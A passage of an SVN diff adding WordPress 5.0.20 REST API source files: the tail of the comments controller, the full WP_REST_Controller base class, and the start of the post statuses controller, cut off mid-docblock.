+			'type'              => 'array',
+			'items'             => array(
+				'type'          => 'integer',
+			),
+		);
+
+		$query_params['status'] = array(
+			'default'           => 'approve',
+			'description'       => __( 'Limit result set to comments assigned a specific status. Requires authorization.' ),
+			'sanitize_callback' => 'sanitize_key',
+			'type'              => 'string',
+			'validate_callback' => 'rest_validate_request_arg',
+		);
+
+		$query_params['type'] = array(
+			'default'           => 'comment',
+			'description'       => __( 'Limit result set to comments assigned a specific type. Requires authorization.' ),
+			'sanitize_callback' => 'sanitize_key',
+			'type'              => 'string',
+			'validate_callback' => 'rest_validate_request_arg',
+		);
+
+		$query_params['password'] = array(
+			'description' => __( 'The password for the post if it is password protected.' ),
+			'type'        => 'string',
+		);
+
+		/**
+		 * Filter collection parameters for the comments controller.
+		 *
+		 * This filter registers the collection parameter, but does not map the
+		 * collection parameter to an internal WP_Comment_Query parameter. Use the
+		 * `rest_comment_query` filter to set WP_Comment_Query parameters.
+		 *
+		 * @since 4.7.0
+		 *
+		 * @param array $query_params JSON Schema-formatted collection parameters.
+		 */
+		return apply_filters( 'rest_comment_collection_params', $query_params );
+	}
+
+	/**
+	 * Sets the comment_status of a given comment object when creating or updating a comment.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param string|int $new_status New comment status.
+	 * @param int        $comment_id Comment ID.
+	 * @return bool Whether the status was changed.
+	 */
+	protected function handle_status_param( $new_status, $comment_id ) {
+		$old_status = wp_get_comment_status( $comment_id );
+
+		if ( $new_status === $old_status ) {
+			return false;
+		}
+
+		switch ( $new_status ) {
+			case 'approved' :
+			case 'approve':
+			case '1':
+				$changed = wp_set_comment_status( $comment_id, 'approve' );
+				break;
+			case 'hold':
+			case '0':
+				$changed = wp_set_comment_status( $comment_id, 'hold' );
+				break;
+			case 'spam' :
+				$changed = wp_spam_comment( $comment_id );
+				break;
+			case 'unspam' :
+				$changed = wp_unspam_comment( $comment_id );
+				break;
+			case 'trash' :
+				$changed = wp_trash_comment( $comment_id );
+				break;
+			case 'untrash' :
+				$changed = wp_untrash_comment( $comment_id );
+				break;
+			default :
+				$changed = false;
+				break;
+		}
+
+		return $changed;
+	}
+
+	/**
+	 * Checks if the post can be read.
+	 *
+	 * Correctly handles posts with the inherit status.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param WP_Post         $post    Post object.
+	 * @param WP_REST_Request $request Request data to check.
+	 * @return bool Whether post can be read.
+	 */
+	protected function check_read_post_permission( $post, $request ) {
+		$posts_controller = new WP_REST_Posts_Controller( $post->post_type );
+		$post_type = get_post_type_object( $post->post_type );
+
+		$has_password_filter = false;
+
+		// Only check password if a specific post was queried for or a single comment
+		$requested_post = ! empty( $request['post'] ) && ( !is_array( $request['post'] ) || 1 === count( $request['post'] ) );
+		$requested_comment = ! empty( $request['id'] );
+		if ( ( $requested_post || $requested_comment ) && $posts_controller->can_access_password_content( $post, $request ) ) {
+			add_filter( 'post_password_required', '__return_false' );
+
+			$has_password_filter = true;
+		}
+
+		if ( post_password_required( $post ) ) {
+			$result = current_user_can( $post_type->cap->edit_post, $post->ID );
+		} else {
+			$result = $posts_controller->check_read_permission( $post );
+		}
+
+		if ( $has_password_filter ) {
+			remove_filter( 'post_password_required', '__return_false' );
+		}
+
+		return $result;
+	}
+
+	/**
+	 * Checks if the comment can be read.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param WP_Comment      $comment Comment object.
+	 * @param WP_REST_Request $request Request data to check.
+	 * @return bool Whether the comment can be read.
+	 */
+	protected function check_read_permission( $comment, $request ) {
+		if ( ! empty( $comment->comment_post_ID ) ) {
+			$post = get_post( $comment->comment_post_ID );
+			if ( $post ) {
+				if ( $this->check_read_post_permission( $post, $request ) && 1 === (int) $comment->comment_approved ) {
+					return true;
+				}
+			}
+		}
+
+		if ( 0 === get_current_user_id() ) {
+			return false;
+		}
+
+		if ( empty( $comment->comment_post_ID ) && ! current_user_can( 'moderate_comments' ) ) {
+			return false;
+		}
+
+		if ( ! empty( $comment->user_id ) && get_current_user_id() === (int) $comment->user_id ) {
+			return true;
+		}
+
+		return current_user_can( 'edit_comment', $comment->comment_ID );
+	}
+
+	/**
+	 * Checks if a comment can be edited or deleted.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param object $comment Comment object.
+	 * @return bool Whether the comment can be edited or deleted.
+	 */
+	protected function check_edit_permission( $comment ) {
+		if ( 0 === (int) get_current_user_id() ) {
+			return false;
+		}
+
+		if ( ! current_user_can( 'moderate_comments' ) ) {
+			return false;
+		}
+
+		return current_user_can( 'edit_comment', $comment->comment_ID );
+	}
+
+	/**
+	 * Checks a comment author email for validity.
+	 *
+	 * Accepts either a valid email address or empty string as a valid comment
+	 * author email address. Setting the comment author email to an empty
+	 * string is allowed when a comment is being updated.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param string          $value   Author email value submitted.
+	 * @param WP_REST_Request $request Full details about the request.
+	 * @param string          $param   The parameter name.
+	 * @return WP_Error|string The sanitized email address, if valid,
+	 *                         otherwise an error.
+	 */
+	public function check_comment_author_email( $value, $request, $param ) {
+		$email = (string) $value;
+		if ( empty( $email ) ) {
+			return $email;
+		}
+
+		$check_email = rest_validate_request_arg( $email, $request, $param );
+		if ( is_wp_error( $check_email ) ) {
+			return $check_email;
+		}
+
+		return $email;
+	}
+}
Index: /tags/5.0.20/src/wp-includes/rest-api/endpoints/class-wp-rest-controller.php
===================================================================
--- /tags/5.0.20/src/wp-includes/rest-api/endpoints/class-wp-rest-controller.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/rest-api/endpoints/class-wp-rest-controller.php	(revision 56912)
@@ -0,0 +1,628 @@
+<?php
+/**
+ * REST API: WP_REST_Controller class
+ *
+ * @package WordPress
+ * @subpackage REST_API
+ * @since 4.7.0
+ */
+
+/**
+ * Core base controller for managing and interacting with REST API items.
+ *
+ * @since 4.7.0
+ */
+abstract class WP_REST_Controller {
+
+	/**
+	 * The namespace of this controller's route.
+	 *
+	 * @since 4.7.0
+	 * @var string
+	 */
+	protected $namespace;
+
+	/**
+	 * The base of this controller's route.
+	 *
+	 * @since 4.7.0
+	 * @var string
+	 */
+	protected $rest_base;
+
+	/**
+	 * Registers the routes for the objects of the controller.
+	 *
+	 * @since 4.7.0
+	 */
+	public function register_routes() {
+		/* translators: %s: register_routes() */
+		_doing_it_wrong( 'WP_REST_Controller::register_routes', sprintf( __( "Method '%s' must be overridden." ), __METHOD__ ), '4.7' );
+	}
+
+	/**
+	 * Checks if a given request has access to get items.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param WP_REST_Request $request Full data about the request.
+	 * @return WP_Error|bool True if the request has read access, WP_Error object otherwise.
+	 */
+	public function get_items_permissions_check( $request ) {
+		/* translators: %s: method name */
+		return new WP_Error( 'invalid-method', sprintf( __( "Method '%s' not implemented. Must be overridden in subclass." ), __METHOD__ ), array( 'status' => 405 ) );
+	}
+
+	/**
+	 * Retrieves a collection of items.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param WP_REST_Request $request Full data about the request.
+	 * @return WP_Error|WP_REST_Response Response object on success, or WP_Error object on failure.
+	 */
+	public function get_items( $request ) {
+		/* translators: %s: method name */
+		return new WP_Error( 'invalid-method', sprintf( __( "Method '%s' not implemented. Must be overridden in subclass." ), __METHOD__ ), array( 'status' => 405 ) );
+	}
+
+	/**
+	 * Checks if a given request has access to get a specific item.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param WP_REST_Request $request Full data about the request.
+	 * @return WP_Error|bool True if the request has read access for the item, WP_Error object otherwise.
+	 */
+	public function get_item_permissions_check( $request ) {
+		/* translators: %s: method name */
+		return new WP_Error( 'invalid-method', sprintf( __( "Method '%s' not implemented. Must be overridden in subclass." ), __METHOD__ ), array( 'status' => 405 ) );
+	}
+
+	/**
+	 * Retrieves one item from the collection.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param WP_REST_Request $request Full data about the request.
+	 * @return WP_Error|WP_REST_Response Response object on success, or WP_Error object on failure.
+	 */
+	public function get_item( $request ) {
+		/* translators: %s: method name */
+		return new WP_Error( 'invalid-method', sprintf( __( "Method '%s' not implemented. Must be overridden in subclass." ), __METHOD__ ), array( 'status' => 405 ) );
+	}
+
+	/**
+	 * Checks if a given request has access to create items.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param WP_REST_Request $request Full data about the request.
+	 * @return WP_Error|bool True if the request has access to create items, WP_Error object otherwise.
+	 */
+	public function create_item_permissions_check( $request ) {
+		/* translators: %s: method name */
+		return new WP_Error( 'invalid-method', sprintf( __( "Method '%s' not implemented. Must be overridden in subclass." ), __METHOD__ ), array( 'status' => 405 ) );
+	}
+
+	/**
+	 * Creates one item from the collection.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param WP_REST_Request $request Full data about the request.
+	 * @return WP_Error|WP_REST_Response Response object on success, or WP_Error object on failure.
+	 */
+	public function create_item( $request ) {
+		/* translators: %s: method name */
+		return new WP_Error( 'invalid-method', sprintf( __( "Method '%s' not implemented. Must be overridden in subclass." ), __METHOD__ ), array( 'status' => 405 ) );
+	}
+
+	/**
+	 * Checks if a given request has access to update a specific item.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param WP_REST_Request $request Full data about the request.
+	 * @return WP_Error|bool True if the request has access to update the item, WP_Error object otherwise.
+	 */
+	public function update_item_permissions_check( $request ) {
+		/* translators: %s: method name */
+		return new WP_Error( 'invalid-method', sprintf( __( "Method '%s' not implemented. Must be overridden in subclass." ), __METHOD__ ), array( 'status' => 405 ) );
+	}
+
+	/**
+	 * Updates one item from the collection.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param WP_REST_Request $request Full data about the request.
+	 * @return WP_Error|WP_REST_Response Response object on success, or WP_Error object on failure.
+	 */
+	public function update_item( $request ) {
+		/* translators: %s: method name */
+		return new WP_Error( 'invalid-method', sprintf( __( "Method '%s' not implemented. Must be overridden in subclass." ), __METHOD__ ), array( 'status' => 405 ) );
+	}
+
+	/**
+	 * Checks if a given request has access to delete a specific item.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param WP_REST_Request $request Full data about the request.
+	 * @return WP_Error|bool True if the request has access to delete the item, WP_Error object otherwise.
+	 */
+	public function delete_item_permissions_check( $request ) {
+		/* translators: %s: method name */
+		return new WP_Error( 'invalid-method', sprintf( __( "Method '%s' not implemented. Must be overridden in subclass." ), __METHOD__ ), array( 'status' => 405 ) );
+	}
+
+	/**
+	 * Deletes one item from the collection.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param WP_REST_Request $request Full data about the request.
+	 * @return WP_Error|WP_REST_Response Response object on success, or WP_Error object on failure.
+	 */
+	public function delete_item( $request ) {
+		/* translators: %s: method name */
+		return new WP_Error( 'invalid-method', sprintf( __( "Method '%s' not implemented. Must be overridden in subclass." ), __METHOD__ ), array( 'status' => 405 ) );
+	}
+
+	/**
+	 * Prepares one item for create or update operation.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param WP_REST_Request $request Request object.
+	 * @return WP_Error|object The prepared item, or WP_Error object on failure.
+	 */
+	protected function prepare_item_for_database( $request ) {
+		/* translators: %s: method name */
+		return new WP_Error( 'invalid-method', sprintf( __( "Method '%s' not implemented. Must be overridden in subclass." ), __METHOD__ ), array( 'status' => 405 ) );
+	}
+
+	/**
+	 * Prepares the item for the REST response.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param mixed           $item    WordPress representation of the item.
+	 * @param WP_REST_Request $request Request object.
+	 * @return WP_Error|WP_REST_Response Response object on success, or WP_Error object on failure.
+	 */
+	public function prepare_item_for_response( $item, $request ) {
+		/* translators: %s: method name */
+		return new WP_Error( 'invalid-method', sprintf( __( "Method '%s' not implemented. Must be overridden in subclass." ), __METHOD__ ), array( 'status' => 405 ) );
+	}
+
+	/**
+	 * Prepares a response for insertion into a collection.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param WP_REST_Response $response Response object.
+	 * @return array|mixed Response data, ready for insertion into collection data.
+	 */
+	public function prepare_response_for_collection( $response ) {
+		if ( ! ( $response instanceof WP_REST_Response ) ) {
+			return $response;
+		}
+
+		$data   = (array) $response->get_data();
+		$server = rest_get_server();
+		$links  = $server->get_compact_response_links( $response );
+
+		if ( ! empty( $links ) ) {
+			$data['_links'] = $links;
+		}
+
+		return $data;
+	}
+
+	/**
+	 * Filters a response based on the context defined in the schema.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param array  $data    Response data to fiter.
+	 * @param string $context Context defined in the schema.
+	 * @return array Filtered response.
+	 */
+	public function filter_response_by_context( $data, $context ) {
+
+		$schema = $this->get_item_schema();
+
+		foreach ( $data as $key => $value ) {
+			if ( empty( $schema['properties'][ $key ] ) || empty( $schema['properties'][ $key ]['context'] ) ) {
+				continue;
+			}
+
+			if ( ! in_array( $context, $schema['properties'][ $key ]['context'], true ) ) {
+				unset( $data[ $key ] );
+				continue;
+			}
+
+			if ( 'object' === $schema['properties'][ $key ]['type'] && ! empty( $schema['properties'][ $key ]['properties'] ) ) {
+				foreach ( $schema['properties'][ $key ]['properties'] as $attribute => $details ) {
+					if ( empty( $details['context'] ) ) {
+						continue;
+					}
+
+					if ( ! in_array( $context, $details['context'], true ) ) {
+						if ( isset( $data[ $key ][ $attribute ] ) ) {
+							unset( $data[ $key ][ $attribute ] );
+						}
+					}
+				}
+			}
+		}
+
+		return $data;
+	}
+
+	/**
+	 * Retrieves the item's schema, conforming to JSON Schema.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @return array Item schema data.
+	 */
+	public function get_item_schema() {
+		return $this->add_additional_fields_schema( array() );
+	}
+
+	/**
+	 * Retrieves the item's schema for display / public consumption purposes.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @return array Public item schema data.
+	 */
+	public function get_public_item_schema() {
+
+		$schema = $this->get_item_schema();
+
+		foreach ( $schema['properties'] as &$property ) {
+			unset( $property['arg_options'] );
+		}
+
+		return $schema;
+	}
+
+	/**
+	 * Retrieves the query params for the collections.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @return array Query parameters for the collection.
+	 */
+	public function get_collection_params() {
+		return array(
+			'context'                => $this->get_context_param(),
+			'page'                   => array(
+				'description'        => __( 'Current page of the collection.' ),
+				'type'               => 'integer',
+				'default'            => 1,
+				'sanitize_callback'  => 'absint',
+				'validate_callback'  => 'rest_validate_request_arg',
+				'minimum'            => 1,
+			),
+			'per_page'               => array(
+				'description'        => __( 'Maximum number of items to be returned in result set.' ),
+				'type'               => 'integer',
+				'default'            => 10,
+				'minimum'            => 1,
+				'maximum'            => 100,
+				'sanitize_callback'  => 'absint',
+				'validate_callback'  => 'rest_validate_request_arg',
+			),
+			'search'                 => array(
+				'description'        => __( 'Limit results to those matching a string.' ),
+				'type'               => 'string',
+				'sanitize_callback'  => 'sanitize_text_field',
+				'validate_callback'  => 'rest_validate_request_arg',
+			),
+		);
+	}
+
+	/**
+	 * Retrieves the magical context param.
+	 *
+	 * Ensures consistent descriptions between endpoints, and populates enum from schema.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param array $args Optional. Additional arguments for context parameter. Default empty array.
+	 * @return array Context parameter details.
+	 */
+	public function get_context_param( $args = array() ) {
+		$param_details = array(
+			'description'        => __( 'Scope under which the request is made; determines fields present in response.' ),
+			'type'               => 'string',
+			'sanitize_callback'  => 'sanitize_key',
+			'validate_callback'  => 'rest_validate_request_arg',
+		);
+
+		$schema = $this->get_item_schema();
+
+		if ( empty( $schema['properties'] ) ) {
+			return array_merge( $param_details, $args );
+		}
+
+		$contexts = array();
+
+		foreach ( $schema['properties'] as $attributes ) {
+			if ( ! empty( $attributes['context'] ) ) {
+				$contexts = array_merge( $contexts, $attributes['context'] );
+			}
+		}
+
+		if ( ! empty( $contexts ) ) {
+			$param_details['enum'] = array_unique( $contexts );
+			rsort( $param_details['enum'] );
+		}
+
+		return array_merge( $param_details, $args );
+	}
+
+	/**
+	 * Adds the values from additional fields to a data object.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param array           $object  Data object.
+	 * @param WP_REST_Request $request Full details about the request.
+	 * @return array Modified data object with additional fields.
+	 */
+	protected function add_additional_fields_to_object( $object, $request ) {
+
+		$additional_fields = $this->get_additional_fields();
+
+		$requested_fields = $this->get_fields_for_response( $request );
+
+		foreach ( $additional_fields as $field_name => $field_options ) {
+
+			if ( ! $field_options['get_callback'] ) {
+				continue;
+			}
+
+			if ( ! in_array( $field_name, $requested_fields, true ) ) {
+				continue;
+			}
+
+			$object[ $field_name ] = call_user_func( $field_options['get_callback'], $object, $field_name, $request, $this->get_object_type() );
+		}
+
+		return $object;
+	}
+
+	/**
+	 * Updates the values of additional fields added to a data object.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param array           $object  Data Object.
+	 * @param WP_REST_Request $request Full details about the request.
+	 * @return bool|WP_Error True on success, WP_Error object if a field cannot be updated.
+	 */
+	protected function update_additional_fields_for_object( $object, $request ) {
+		$additional_fields = $this->get_additional_fields();
+
+		foreach ( $additional_fields as $field_name => $field_options ) {
+			if ( ! $field_options['update_callback'] ) {
+				continue;
+			}
+
+			// Don't run the update callbacks if the data wasn't passed in the request.
+			if ( ! isset( $request[ $field_name ] ) ) {
+				continue;
+			}
+
+			$result = call_user_func( $field_options['update_callback'], $request[ $field_name ], $object, $field_name, $request, $this->get_object_type() );
+
+			if ( is_wp_error( $result ) ) {
+				return $result;
+			}
+		}
+
+		return true;
+	}
+
+	/**
+	 * Adds the schema from additional fields to a schema array.
+	 *
+	 * The type of object is inferred from the passed schema.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param array $schema Schema array.
+	 * @return array Modified Schema array.
+	 */
+	protected function add_additional_fields_schema( $schema ) {
+		if ( empty( $schema['title'] ) ) {
+			return $schema;
+		}
+
+		// Can't use $this->get_object_type otherwise we cause an inf loop.
+		$object_type = $schema['title'];
+
+		$additional_fields = $this->get_additional_fields( $object_type );
+
+		foreach ( $additional_fields as $field_name => $field_options ) {
+			if ( ! $field_options['schema'] ) {
+				continue;
+			}
+
+			$schema['properties'][ $field_name ] = $field_options['schema'];
+		}
+
+		return $schema;
+	}
+
+	/**
+	 * Retrieves all of the registered additional fields for a given object-type.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param  string $object_type Optional. The object type.
+	 * @return array Registered additional fields (if any), empty array if none or if the object type could
+	 *               not be inferred.
+	 */
+	protected function get_additional_fields( $object_type = null ) {
+
+		if ( ! $object_type ) {
+			$object_type = $this->get_object_type();
+		}
+
+		if ( ! $object_type ) {
+			return array();
+		}
+
+		global $wp_rest_additional_fields;
+
+		if ( ! $wp_rest_additional_fields || ! isset( $wp_rest_additional_fields[ $object_type ] ) ) {
+			return array();
+		}
+
+		return $wp_rest_additional_fields[ $object_type ];
+	}
+
+	/**
+	 * Retrieves the object type this controller is responsible for managing.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @return string Object type for the controller.
+	 */
+	protected function get_object_type() {
+		$schema = $this->get_item_schema();
+
+		if ( ! $schema || ! isset( $schema['title'] ) ) {
+			return null;
+		}
+
+		return $schema['title'];
+	}
+
+	/**
+	 * Gets an array of fields to be included on the response.
+	 *
+	 * Included fields are based on item schema and `_fields=` request argument.
+	 *
+	 * @since 4.9.6
+	 *
+	 * @param WP_REST_Request $request Full details about the request.
+	 * @return array Fields to be included in the response.
+	 */
+	public function get_fields_for_response( $request ) {
+		$schema = $this->get_item_schema();
+		$fields = isset( $schema['properties'] ) ? array_keys( $schema['properties'] ) : array();
+
+		$additional_fields = $this->get_additional_fields();
+		foreach ( $additional_fields as $field_name => $field_options ) {
+			// For back-compat, include any field with an empty schema
+			// because it won't be present in $this->get_item_schema().
+			if ( is_null( $field_options['schema'] ) ) {
+				$fields[] = $field_name;
+			}
+		}
+
+		if ( ! isset( $request['_fields'] ) ) {
+			return $fields;
+		}
+		$requested_fields = is_array( $request['_fields'] ) ? $request['_fields'] : preg_split( '/[\s,]+/', $request['_fields'] );
+		if ( 0 === count( $requested_fields ) ) {
+			return $fields;
+		}
+		// Trim off outside whitespace from the comma delimited list.
+		$requested_fields = array_map( 'trim', $requested_fields );
+		// Always persist 'id', because it can be needed for add_additional_fields_to_object().
+		if ( in_array( 'id', $fields, true ) ) {
+			$requested_fields[] = 'id';
+		}
+		return array_intersect( $fields, $requested_fields );
+	}
+
+	/**
+	 * Retrieves an array of endpoint arguments from the item schema for the controller.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param string $method Optional. HTTP method of the request. The arguments for `CREATABLE` requests are
+	 *                       checked for required values and may fall-back to a given default, this is not done
+	 *                       on `EDITABLE` requests. Default WP_REST_Server::CREATABLE.
+	 * @return array Endpoint arguments.
+	 */
+	public function get_endpoint_args_for_item_schema( $method = WP_REST_Server::CREATABLE ) {
+
+		$schema            = $this->get_item_schema();
+		$schema_properties = ! empty( $schema['properties'] ) ? $schema['properties'] : array();
+		$endpoint_args     = array();
+
+		foreach ( $schema_properties as $field_id => $params ) {
+
+			// Arguments specified as `readonly` are not allowed to be set.
+			if ( ! empty( $params['readonly'] ) ) {
+				continue;
+			}
+
+			$endpoint_args[ $field_id ] = array(
+				'validate_callback' => 'rest_validate_request_arg',
+				'sanitize_callback' => 'rest_sanitize_request_arg',
+			);
+
+			if ( isset( $params['description'] ) ) {
+				$endpoint_args[ $field_id ]['description'] = $params['description'];
+			}
+
+			if ( WP_REST_Server::CREATABLE === $method && isset( $params['default'] ) ) {
+				$endpoint_args[ $field_id ]['default'] = $params['default'];
+			}
+
+			if ( WP_REST_Server::CREATABLE === $method && ! empty( $params['required'] ) ) {
+				$endpoint_args[ $field_id ]['required'] = true;
+			}
+
+			foreach ( array( 'type', 'format', 'enum', 'items', 'properties', 'additionalProperties' ) as $schema_prop ) {
+				if ( isset( $params[ $schema_prop ] ) ) {
+					$endpoint_args[ $field_id ][ $schema_prop ] = $params[ $schema_prop ];
+				}
+			}
+
+			// Merge in any options provided by the schema property.
+			if ( isset( $params['arg_options'] ) ) {
+
+				// Only use required / default from arg_options on CREATABLE endpoints.
+				if ( WP_REST_Server::CREATABLE !== $method ) {
+					$params['arg_options'] = array_diff_key( $params['arg_options'], array( 'required' => '', 'default' => '' ) );
+				}
+
+				$endpoint_args[ $field_id ] = array_merge( $endpoint_args[ $field_id ], $params['arg_options'] );
+			}
+		}
+
+		return $endpoint_args;
+	}
+
+	/**
+	 * Sanitizes the slug value.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @internal We can't use sanitize_title() directly, as the second
+	 * parameter is the fallback title, which would end up being set to the
+	 * request object.
+	 *
+	 * @see https://github.com/WP-API/WP-API/issues/1585
+	 *
+	 * @todo Remove this in favour of https://core.trac.wordpress.org/ticket/34659
+	 *
+	 * @param string $slug Slug value passed in request.
+	 * @return string Sanitized value for the slug.
+	 */
+	public function sanitize_slug( $slug ) {
+		return sanitize_title( $slug );
+	}
+}
Index: /tags/5.0.20/src/wp-includes/rest-api/endpoints/class-wp-rest-post-statuses-controller.php
===================================================================
--- /tags/5.0.20/src/wp-includes/rest-api/endpoints/class-wp-rest-post-statuses-controller.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/rest-api/endpoints/class-wp-rest-post-statuses-controller.php	(revision 56912)
@@ -0,0 +1,329 @@
+<?php
+/**
+ * REST API: WP_REST_Post_Statuses_Controller class
+ *
+ * @package WordPress
+ * @subpackage REST_API
+ * @since 4.7.0
+ */
+
+/**
+ * Core class used to access post statuses via the REST API.
+ *
+ * @since 4.7.0
+ *
+ * @see WP_REST_Controller
+ */
+class WP_REST_Post_Statuses_Controller extends WP_REST_Controller {
+
+	/**
+	 * Constructor.
+	 *
+	 * @since 4.7.0
+	 */
+	public function __construct() {
+		$this->namespace = 'wp/v2';
+		$this->rest_base = 'statuses';
+	}
+
+	/**
+	 * Registers the routes for the objects of the controller.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @see register_rest_route()
+	 */
+	public function register_routes() {
+
+		register_rest_route( $this->namespace, '/' . $this->rest_base, array(
+			array(
+				'methods'             => WP_REST_Server::READABLE,
+				'callback'            => array( $this, 'get_items' ),
+				'permission_callback' => array( $this, 'get_items_permissions_check' ),
+				'args'                => $this->get_collection_params(),
+			),
+			'schema' => array( $this, 'get_public_item_schema' ),
+		) );
+
+		register_rest_route( $this->namespace, '/' . $this->rest_base . '/(?P<status>[\w-]+)', array(
+			'args' => array(
+				'status' => array(
+					'description' => __( 'An alphanumeric identifier for the status.' ),
+					'type'        => 'string',
+				),
+			),
+			array(
+				'methods'             => WP_REST_Server::READABLE,
+				'callback'            => array( $this, 'get_item' ),
+				'permission_callback' => array( $this, 'get_item_permissions_check' ),
+				'args'                => array(
+					'context' => $this->get_context_param( array( 'default' => 'view' ) ),
+				),
+			),
+			'schema' => array( $this, 'get_public_item_schema' ),
+		) );
+	}
+
+	/**
+	 * Checks whether a given request has permission to read post statuses.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param WP_REST_Request $request Full details about the request.
+	 * @return WP_Error|bool True if the request has read access, WP_Error object otherwise.
+	 */
+	public function get_items_permissions_check( $request ) {
+		if ( 'edit' === $request['context'] ) {
+			$types = get_post_types( array( 'show_in_rest' => true ), 'objects' );
+
+			foreach ( $types as $type ) {
+				if ( current_user_can( $type->cap->edit_posts ) ) {
+					return true;
+				}
+			}
+			return new WP_Error( 'rest_cannot_view', __( 'Sorry, you are not allowed to manage post statuses.' ), array( 'status' => rest_authorization_required_code() ) );
+		}
+
+		return true;
+	}
+
+	/**
+	 * Retrieves all post statuses, depending on user context.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param WP_REST_Request $request Full details about the request.
+	 * @return WP_Error|WP_REST_Response Response object on success, or WP_Error object on failure.
+	 */
+	public function get_items( $request ) {
+		$data = array();
+		$statuses = get_post_stati( array( 'internal' => false ), 'object' );
+		$statuses['trash'] = get_post_status_object( 'trash' );
+
+		foreach ( $statuses as $slug => $obj ) {
+			$ret = $this->check_read_permission( $obj );
+
+			if ( ! $ret ) {
+				continue;
+			}
+
+			$status = $this->prepare_item_for_response( $obj, $request );
+			$data[ $obj->name ] = $this->prepare_response_for_collection( $status );
+		}
+
+		return rest_ensure_response( $data );
+	}
+
+	/**
+	 * Checks if a given request has access to read a post status.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param WP_REST_Request $request Full details about the request.
+	 * @return WP_Error|bool True if the request has read access for the item, WP_Error object otherwise.
+	 */
+	public function get_item_permissions_check( $request ) {
+		$status = get_post_status_object( $request['status'] );
+
+		if ( empty( $status ) ) {
+			return new WP_Error( 'rest_status_invalid', __( 'Invalid status.' ), array( 'status' => 404 ) );
+		}
+
+		$check = $this->check_read_permission( $status );
+
+		if ( ! $check ) {
+			return new WP_Error( 'rest_cannot_read_status', __( 'Cannot view status.' ), array( 'status' => rest_authorization_required_code() ) );
+		}
+
+		return true;
+	}
+
+	/**
+	 * Checks whether a given post status should be visible.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param object $status Post status.
+	 * @return bool True if the post status is visible, otherwise false.
+	 */
+	protected function check_read_permission( $status ) {
+		if ( true === $status->public ) {
+			return true;
+		}
+
+		if ( false === $status->internal || 'trash' === $status->name ) {
+			$types = get_post_types( array( 'show_in_rest' => true ), 'objects' );
+
+			foreach ( $types as $type ) {
+				if ( current_user_can( $type->cap->edit_posts ) ) {
+					return true;
+				}
+			}
+		}
+
+		return false;
+	}
+
+	/**
+	 * Retrieves a specific post status.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param WP_REST_Request $request Full details about the request.
+	 * @return WP_Error|WP_REST_Response Response object on success, or WP_Error object on failure.
+	 */
+	public function get_item( $request ) {
+		$obj = get_post_status_object( $request['status'] );
+
+		if ( empty( $obj ) ) {
+			return new WP_Error( 'rest_status_invalid', __( 'Invalid status.' ), array( 'status' => 404 ) );
+		}
+
+		$data = $this->prepare_item_for_response( $obj, $request );
+
+		return rest_ensure_response( $data );
+	}
+
+	/**
+	 * Prepares a post status object for serialization.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param stdClass        $status  Post status data.
+	 * @param WP_REST_Request $request Full details about the request.
+	 * @return WP_REST_Response Post status data.
+	 */
+	public function prepare_item_for_response( $status, $request ) {
+
+		$fields = $this->get_fields_for_response( $request );
+		$data   = array();
+
+		if ( in_array( 'name', $fields, true ) ) {
+			$data['name'] = $status->label;
+		}
+
+		if ( in_array( 'private', $fields, true ) ) {
+			$data['private'] = (bool) $status->private;
+		}
+
+		if ( in_array( 'protected', $fields, true ) ) {
+			$data['protected'] = (bool) $status->protected;
+		}
+
+		if ( in_array( 'public', $fields, true ) ) {
+			$data['public'] = (bool) $status->public;
+		}
+
+		if ( in_array( 'queryable', $fields, true ) ) {
+			$data['queryable'] = (bool) $status->publicly_queryable;
+		}
+
+		if ( in_array( 'show_in_list', $fields, true ) ) {
+			$data['show_in_list'] = (bool) $status->show_in_admin_all_list;
+		}
+
+		if ( in_array( 'slug', $fields, true ) ) {
+			$data['slug'] = $status->name;
+		}
+
+		$context = ! empty( $request['context'] ) ? $request['context'] : 'view';
+		$data = $this->add_additional_fields_to_object( $data, $request );
+		$data = $this->filter_response_by_context( $data, $context );
+
+		$response = rest_ensure_response( $data );
+
+		if ( 'publish' === $status->name ) {
+			$response->add_link( 'archives', rest_url( 'wp/v2/posts' ) );
+		} else {
+			$response->add_link( 'archives', add_query_arg( 'status', $status->name, rest_url( 'wp/v2/posts' ) ) );
+		}
+
+		/**
+		 * Filters a status returned from the REST API.
+		 *
+		 * Allows modification of the status data right before it is returned.
+		 *
+		 * @since 4.7.0
+		 *
+		 * @param WP_REST_Response $response The response object.
+		 * @param object           $status   The original status object.
+		 * @param WP_REST_Request  $request  Request used to generate the response.
+		 */
